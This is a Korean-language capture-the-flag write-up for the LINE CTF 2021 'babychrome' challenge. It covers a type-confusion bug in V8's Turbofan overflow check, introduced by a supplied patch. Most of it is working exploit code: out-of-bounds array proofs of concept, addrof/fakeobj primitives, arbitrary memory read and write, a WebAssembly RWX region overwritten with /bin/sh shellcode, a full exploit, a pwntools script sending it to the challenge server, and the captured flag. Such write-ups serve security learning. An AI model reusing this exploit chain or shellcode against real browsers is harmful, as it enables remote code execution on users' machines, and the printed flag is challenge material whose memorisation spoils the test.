[DreamHack] [LINE CTF 2021] babychrome

https://dreamhack.io/wargame/challenges/398/

Another babychrome

Environment Setting

Install depot_tools

cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=$HOME/depot_tools:$PATH
echo -e '\nexport PATH=$HOME/depot_tools:$PATH' >> ~/.bashrc

Get V8 source code

cd ~
mkdir v8
cd v8
fetch v8
cd v8
git checkout c126700cbc1f7391b8b717f7c54b4f9537355db7
gclient sync -D
git apply ~/babychrome/overflow.patch

Build V8

$ ls ~/babychrome
REVISION  overflow.patch  v8

./build/install-build-deps.sh
gn gen out/debug --args='v8_no_inline=true v8_optimized_debug=false is_component_build=false'
gn gen out/release --args='is_debug=false'
ninja -C out/debug d8
ninja -C out/release d8

Install gdb plugin

echo -e '\nsource ~/v8/v8/tools/gdbinit' >> ~/.gdbinit

Analysis

/* v8/src/compiler/simplified-lowering.cc */

bool CanOverflowSigned32(const Operator* op, Type left, Type right,
                         TypeCache const* type_cache, Zone* type_zone) {
  // We assume the inputs are checked Signed32 (or known statically to be
  // Signed32). Technically, the inputs could also be minus zero, which we treat
  // as 0 for the purpose of this function.
  if (left.Maybe(Type::MinusZero())) {
    left = Type::Union(left, type_cache->kSingletonZero, type_zone);
  }
  if (right.Maybe(Type::MinusZero())) {
    right = Type::Union(right, type_cache->kSingletonZero, type_zone);
  }
  left = Type::Intersect(left, Type::Signed32(), type_zone);
  right = Type::Intersect(right, Type::Signed32(), type_zone);
  if (left.IsNone() || right.IsNone()) return false;
  switch (op->opcode()) {
    case IrOpcode::kSpeculativeSafeIntegerAdd:
      return (left.Max() + right.Max() > kMaxInt) ||
             (left.Min() + right.Min() < kMinInt);

    case IrOpcode::kSpeculativeSafeIntegerSubtract:
      return (left.Max() - right.Min() > kMaxInt) ||
             (left.Min() - right.Max() < kMinInt);

    default:
      UNREACHABLE();
  }
  return true;
}

CanOverflowSigned32()는 Turbofan의 최적화 과정 중 SimplifiedLowering phase에서 SpeculativeSafeIntegerAdd와 SpeculativeSafeIntegerSubtract node를 처리하는 VisitSpeculativeIntegerAdditiveOp()에서 호출되며, integer overflow가 발생할 가능성이 있는지 확인하는 역할을 합니다. 계산 결과로 나올 수 있는 가장 큰 수가 kMaxInt(0x7fffffff)보다 크거나 가장 작은 수가 kMinInt(0x7fffffff)보다 작을 경우 true를 반환합니다.

diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.cc
index da7d0b0fde..f91eea1693 100644
--- a/src/compiler/simplified-lowering.cc
+++ b/src/compiler/simplified-lowering.cc
@@ -186,12 +186,12 @@ bool CanOverflowSigned32(const Operator* op, Type left, Type right,
   // We assume the inputs are checked Signed32 (or known statically to be
   // Signed32). Technically, the inputs could also be minus zero, which we treat
   // as 0 for the purpose of this function.
-  if (left.Maybe(Type::MinusZero())) {
-    left = Type::Union(left, type_cache->kSingletonZero, type_zone);
-  }
-  if (right.Maybe(Type::MinusZero())) {
-    right = Type::Union(right, type_cache->kSingletonZero, type_zone);
-  }
+//  if (left.Maybe(Type::MinusZero())) {
+//    left = Type::Union(left, type_cache->kSingletonZero, type_zone);
+//  }
+//  if (right.Maybe(Type::MinusZero())) {
+//    right = Type::Union(right, type_cache->kSingletonZero, type_zone);
+//  }
   left = Type::Intersect(left, Type::Signed32(), type_zone);
   right = Type::Intersect(right, Type::Signed32(), type_zone);
   if (left.IsNone() || right.IsNone()) return false;

overflow.patch는 앞쪽의 조건문들을 제거합니다.

  // We assume the inputs are checked Signed32 (or known statically to be
  // Signed32). Technically, the inputs could also be minus zero, which we treat
  // as 0 for the purpose of this function.
  if (left.Maybe(Type::MinusZero())) {
    left = Type::Union(left, type_cache->kSingletonZero, type_zone);
  }
  if (right.Maybe(Type::MinusZero())) {
    right = Type::Union(right, type_cache->kSingletonZero, type_zone);
  }

/* v8/src/compiler/type-cache.h */

class V8_EXPORT_PRIVATE TypeCache final {
...
  Type const kSingletonZero = CreateRange(0.0, 0.0);

조건문에서는 left와 right 중 type에 MinusZero가 포함된 node가 있으면 그 node의 type에 Union으로 type_cache->kSingletonZero(Range(0, 0))를 추가합니다.

  left = Type::Intersect(left, Type::Signed32(), type_zone);
  right = Type::Intersect(right, Type::Signed32(), type_zone);

그리고 나서 left와 right에 대해 Type::Intersect()를 호출하여 Type::Signed32()에 해당하지 않는 type(MinusZero 등)을 제거합니다. 결론적으로, type에 포함된 MinusZero를 Range(0, 0)으로 교체하는 과정입니다.

패치가 적용되면 Union 과정이 진행되지 않습니다. 그러면 MinusZero는 제거되는데 Range(0, 0)이 추가되지 않아서 type confusion이 발생하고, CanOverflowSigned32()가 잘못된 결과를 반환할 가능성이 생기게 됩니다.

Proof of Concept

Reach to CanOverflowSigned32()

/* v8/src/compiler/simplified-lowering.cc */

  template <Phase T>
  void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
                                         SimplifiedLowering* lowering) {
    Type left_upper = GetUpperBound(node->InputAt(0));
    Type right_upper = GetUpperBound(node->InputAt(1));

    if (left_upper.Is(type_cache_->kAdditiveSafeIntegerOrMinusZero) &&
        right_upper.Is(type_cache_->kAdditiveSafeIntegerOrMinusZero)) {
      // Only eliminate the node if its typing rule can be satisfied, namely
      // that a safe integer is produced.
      if (truncation.IsUnused()) return VisitUnused<T>(node);

      // If we know how to interpret the result or if the users only care
      // about the low 32-bits, we can truncate to Word32 do a wrapping
      // addition.
      if (GetUpperBound(node).Is(Type::Signed32()) ||
          GetUpperBound(node).Is(Type::Unsigned32()) ||
          truncation.IsUsedAsWord32()) {
        // => Int32Add/Sub
        VisitWord32TruncatingBinop<T>(node);
        if (lower<T>()) ChangeToPureOp(node, Int32Op(node));
        return;
      }
    }
...
    if (lower<T>()) {
      if (truncation.IsUsedAsWord32() ||
          !CanOverflowSigned32(node->op(), left_feedback_type,
                               right_feedback_type, type_cache_,
                               graph_zone())) {
        ChangeToPureOp(node, Int32Op(node));

      } else {
        ChangeToInt32OverflowOp(node);
      }
    }
    return;
  }

VisitSpeculativeIntegerAdditiveOp()에서 처리하는 node의 type이 32비트 범위에서 처리가 가능할 경우 node는 Int32Add 또는 Int32Sub로 변환됩니다. 이 경우 CanOverflowSigned32()가 호출되지 않습니다. 따라서 연산 결과가 32비트 범위를 넘어가도록 해야 합니다.

function f(b) {
    let x = b ? 0 : 0xffffffff;
    let y = b ? 0 : 1;
    return x + y;
}

% PrepareFunctionForOptimization(f);
f(true);
% OptimizeFunctionOnNextCall(f);
f(false);

Type confusion

/* v8/src/compiler/simplified-lowering.cc */

bool CanOverflowSigned32(const Operator* op, Type left, Type right,
                         TypeCache const* type_cache, Zone* type_zone) {
  // We assume the inputs are checked Signed32 (or known statically to be
  // Signed32). Technically, the inputs could also be minus zero, which we treat
  // as 0 for the purpose of this function.
//  if (left.Maybe(Type::MinusZero())) {
//    left = Type::Union(left, type_cache->kSingletonZero, type_zone);
//  }
//  if (right.Maybe(Type::MinusZero())) {
//    right = Type::Union(right, type_cache->kSingletonZero, type_zone);
//  }

  printf("left: ");
  left.PrintTo(std::cout);
  printf("\n");
  printf("right: ");
  right.PrintTo(std::cout);
  printf("\n");
  printf("intersection\n");

  left = Type::Intersect(left, Type::Signed32(), type_zone);
  right = Type::Intersect(right, Type::Signed32(), type_zone);

  printf("left: ");
  left.PrintTo(std::cout);
  printf("\n");
  printf("right: ");
  right.PrintTo(std::cout);
  printf("\n");

Intersection 전후에 left와 right의 type을 확인하기 위해 위와 같이 디버깅 메시지를 추가합니다.

function f(b) {
    let x = b ? 0 : 0x100000000;
    let y = b ? 1 : -0;
    return x + y;
}

% PrepareFunctionForOptimization(f);
f(true);
% OptimizeFunctionOnNextCall(f);
f(false);

Intersection 이후 left(x)의 최댓값은 Signed32의 최댓값인 0x7fffffff이 됩니다. right(y)의 경우MinusZero는 제거되었지만 Range(0, 0)이 Union되지 않아서, 실제 값은 0이지만 type은 Range(1, 1)이 되어 confusion이 발생합니다.

이 경우에는 left.Max()과 right.Max()를 더한 결과가 0x7fffffff보다 크기 때문에 CanOverflowSigned32()가 true를 반환하고, SpeculativeSafeIntegerAdd node가 overflow를 탐지하는 CheckedInt32Add node로 변환됩니다.

function f(b) {
    let x = b ? -1 : -0;
    let y = b ? 0 : -0x80000000;
    return x - y;
}

% PrepareFunctionForOptimization(f);
f(true);
% OptimizeFunctionOnNextCall(f);
f(false);

이 경우에는 left.Max()에서 right.Max()를 뺀 결과가 0x7fffffff이므로 CanOverflowSigned32()가 false를 반환합니다.

따라서 SpeculativeSafeIntegerSubtract node가 overflow를 탐지하지 않는 Int32Sub node로 변환됩니다.

function f(b) {
    let x = b ? -1 : -0;
    let y = b ? 0 : -0x80000000;
    return x - y;
}

% PrepareFunctionForOptimization(f);
f(true);
% OptimizeFunctionOnNextCall(f);
console.log(f(false));

function f(b) {
    let x = b ? -1 : -0;
    let y = b ? 0 : -0x80000000;
    return x - y == 0x80000000;
}

% PrepareFunctionForOptimization(f);
f(true);
% OptimizeFunctionOnNextCall(f);
console.log(f(false));

x - y의 값은 0x80000000인데, 0x80000000과 비교하면 false가 나옵니다.

그 이유는 비교 대상인 0x80000000이 Int32범위를 넘어가서 Float64Constant가 되기 때문입니다. 그러면 Float64Equal로 비교해야 하므로 ChangeInt32ToFloat64 node에서 x - y의 결과를 Float64로 변환하는데, 0x80000000은 음수이므로 sign extension을 거쳐서 0xffffffff80000000이 됩니다. 따라서 0x80000000과 비교하면 false가 나오게 됩니다.

function f(b) {
    let x = b ? -1 : -0;
    let y = b ? 0 : -0x80000000;
    return x - y == -0x80000000;
}

% PrepareFunctionForOptimization(f);
f(true);
% OptimizeFunctionOnNextCall(f);
console.log(f(false));

x - y를 -0x80000000과 비교하면 true가 나오는 것을 확인할 수 있습니다.

-0x80000000은 Int32 범위를 넘어가지 않기 때문에 그대로 Word32Equal로 비교합니다. 32비트에서 0x80000000과 -0x80000000은 같은 값이므로 true가 나옵니다.

그런데 Word32Equal node의 type이 false로 고정되어 있는 것을 확인할 수 있습니다. 이것은 앞에서의 type confusion 때문에 Int32Sub node의 type이 잘못되었기 때문입니다. Int32Sub node의 type은 MinusZero | Range(-1, 0x80000000)인데, overflow를 탐지하지 않기 때문에 -0x80000000과 비교했을 때 절대 같을 수 없다고 판단하게 됩니다.

Out of bound

crbug의 PoC를 참고하여 다음의 코드로 OOB를 발생시킬 수 있습니다.

let arr;

function f(b) {
    let x = b ? -1 : -0;
    let y = b ? 0 : -0x80000000;

    let i = x - y == -0x80000000;
    if (b) i = -1;

    i = Math.sign(i);
    i = i < 0 ? 0 : i;
    arr = new Array(i);
    arr.shift();
}

% PrepareFunctionForOptimization(f);
f(true);
% OptimizeFunctionOnNextCall(f);
f(false);

% DebugPrint(arr);

메모리 상에서 바로 뒤쪽에 array를 하나 더 만들고 length를 덮어서 자유로운 OOB read/write가 가능한 array를 만들 수 있습니다.

let arr;
let oob_arr;

function f(b) {
    let x = b ? -1 : -0;
    let y = b ? 0 : -0x80000000;

    let i = x - y == -0x80000000;
    if (b) i = -1;

    i = Math.sign(i);
    i = i < 0 ? 0 : i;
    arr = new Array(i);
    oob_arr = [1.1];
    arr.shift();
    arr[12] = 0xffff; // overwrite length of oob_arr
}

% PrepareFunctionForOptimization(f);
f(true);
% OptimizeFunctionOnNextCall(f);
f(false);

% DebugPrint(oob_arr);

Exploit

Helper functions

/* helpers */

let fi_buf = new ArrayBuffer(8);  // shared buffer
let f_buf = new Float64Array(fi_buf);  // buffer for float
let i_buf = new BigUint64Array(fi_buf);  // buffer for bigint

// convert float to bigint
function ftoi(f) {
    f_buf[0] = f;
    return i_buf[0];
}

// convert bigint to float
function itof(i) {
    i_buf[0] = i;
    return f_buf[0];
}

// convert integer to hex string
function hex(i) {
    return '0x' + i.toString(16);
}

Addrof

let arr;
let oob_arr;
let obj_arr;

function f(b) {
    let x = b ? -1 : -0;
    let y = b ? 0 : -0x80000000;

    let i = x - y == -0x80000000;
    if (b) i = -1;

    i = Math.sign(i);
    i = i < 0 ? 0 : i;
    arr = new Array(i);

    oob_arr = [1.1];
    obj_arr = [{}];

    arr.shift();
    arr[12] = 0xffff; // overwrite length of oob_arr
}

for (let i = 0; i < 0x10000; i++) { f(true); } // optimization
f(false);


/* get (compressed) address of |obj| */
function addrof(obj) {
    obj_arr[0] = obj;
    return ftoi(oob_arr[7]) >> 32n;
}

/* addrof test */
let tmp_obj = {};
console.log('address of tmp_obj == ' + hex(addrof(tmp_obj)));
% DebugPrint(tmp_obj);

Fakeobj

/* generate fake object at |addr| */
function fakeobj(addr) {
    let obj = ftoi(oob_arr[7]) & 0xffffffffn;
    obj |= (addr << 32n);
    oob_arr[7] = itof(obj);
    return obj_arr[0];
}

/* fakeobj test */
let tmp_obj = {};
let fake_obj = fakeobj(addrof(tmp_obj) - 0x20n);
% DebugPrint(tmp_obj);
% DebugPrint(fake_obj);

Arbitrary address read

let arr;
let oob_arr;
let obj_arr;
let aarw_arr;

function f(b) {
    let x = b ? -1 : -0;
    let y = b ? 0 : -0x80000000;

    let i = x - y == -0x80000000;
    if (b) i = -1;

    i = Math.sign(i);
    i = i < 0 ? 0 : i;
    arr = new Array(i);

    oob_arr = [1.1];
    obj_arr = [{}];
    aarw_arr = [1.1];

    arr.shift();
    arr[12] = 0xffff; // overwrite length of oob_arr
}

for (let i = 0; i < 0x10000; i++) { f(true); } // optimization
f(false);


/* arbitrary address read */
function aar(addr) {
    let elements = ftoi(oob_arr[13]) & 0xffffffffn << 32n; // elements pointer of aaw_arr
    elements |= addr - 8n;
    oob_arr[13] = itof(elements);
    return ftoi(aarw_arr[0]);
}

/* aar test */
let tmp_arr = [2.2];
console.log(itof(aar(addrof(tmp_arr) + 0x20n)));

Arbitrary address write

/* arbitrary address write*/
function aaw(addr, value) {
    let elements = ftoi(oob_arr[13]) & 0xffffffffn << 32n; // elements pointer of aaw_arr
    elements |= addr - 8n;
    oob_arr[13] = itof(elements);
    aarw_arr[0] = itof(value);
}

/* aaw test */
let tmp_arr = [1.1];
aaw(addrof(tmp_arr) + 0x20n, ftoi(2.2));
console.log(tmp_arr[0]);

Execute shellcode

let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let rwx = aar(addrof(wasmInstance) + 0x68n); // address of rwx region

let shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];
let buf = new ArrayBuffer(shellcode.length);
aaw(addrof(buf) + 0x14n, rwx); // overwrite backing store of |buf|

let view = new DataView(buf);
for (let i = 0; i < shellcode.length; i++) {
    view.setUint8(i, shellcode[i]);
}

let sh = wasmInstance.exports.main;
sh(); // execute shellcode

Full exploit

/* helpers */

let fi_buf = new ArrayBuffer(8);  // shared buffer
let f_buf = new Float64Array(fi_buf);  // buffer for float
let i_buf = new BigUint64Array(fi_buf);  // buffer for bigint

// convert float to bigint
function ftoi(f) {
    f_buf[0] = f;
    return i_buf[0];
}

// convert bigint to float
function itof(i) {
    i_buf[0] = i;
    return f_buf[0];
}

// convert integer to hex string
function hex(i) {
    return '0x' + i.toString(16);
}


let arr;
let oob_arr;
let obj_arr;
let aarw_arr;

function f(b) {
    let x = b ? -1 : -0;
    let y = b ? 0 : -0x80000000;

    let i = x - y == -0x80000000;
    if (b) i = -1;

    i = Math.sign(i);
    i = i < 0 ? 0 : i;
    arr = new Array(i);

    oob_arr = [1.1];
    obj_arr = [{}];
    aarw_arr = [1.1];

    arr.shift();
    arr[12] = 0xffff; // overwrite length of oob_arr
}

for (let i = 0; i < 0x10000; i++) { f(true); } // optimization
f(false);


/* get (compressed) address of |obj| */
function addrof(obj) {
    obj_arr[0] = obj;
    return ftoi(oob_arr[7]) >> 32n;
}

/* generate fake object at |addr| */
function fakeobj(addr) {
    let obj = ftoi(oob_arr[7]) & 0xffffffffn;
    obj |= (addr << 32n);
    oob_arr[7] = itof(obj);
    return obj_arr[0];
}

/* arbitrary address read */
function aar(addr) {
    let elements = ftoi(oob_arr[13]) & 0xffffffffn << 32n;
    elements |= addr - 8n;
    oob_arr[13] = itof(elements);
    return ftoi(aarw_arr[0]);
}

/* arbitrary address write*/
function aaw(addr, value) {
    let elements = ftoi(oob_arr[13]) & 0xffffffffn << 32n;
    elements |= addr - 8n;
    oob_arr[13] = itof(elements);
    aarw_arr[0] = itof(value);
}


let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let rwx = aar(addrof(wasmInstance) + 0x68n); // address of rwx region

let shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];
let buf = new ArrayBuffer(shellcode.length);
aaw(addrof(buf) + 0x14n, rwx); // overwrite backing store of |buf|

let view = new DataView(buf);
for (let i = 0; i < shellcode.length; i++) {
    view.setUint8(i, shellcode[i]);
}

let sh = wasmInstance.exports.main;
sh(); // execute shellcode

from pwn import *

HOST = 'host3.dreamhack.games'
PORT = 15348

r = remote(HOST, PORT)

f = open('ex.js', 'rb')
ex = f.read()
f.close

ex += b'\nEOF'
r.sendlineafter(b'Enter your javascript code until "EOF"', ex)

r.interactive()

DH{7f88471cb6ee277af6af938c88c18db57f3d0b0a}

References

• https://www.anquanke.com/post/id/237501
• https://bugs.chromium.org/p/chromium/issues/detail?id=1126249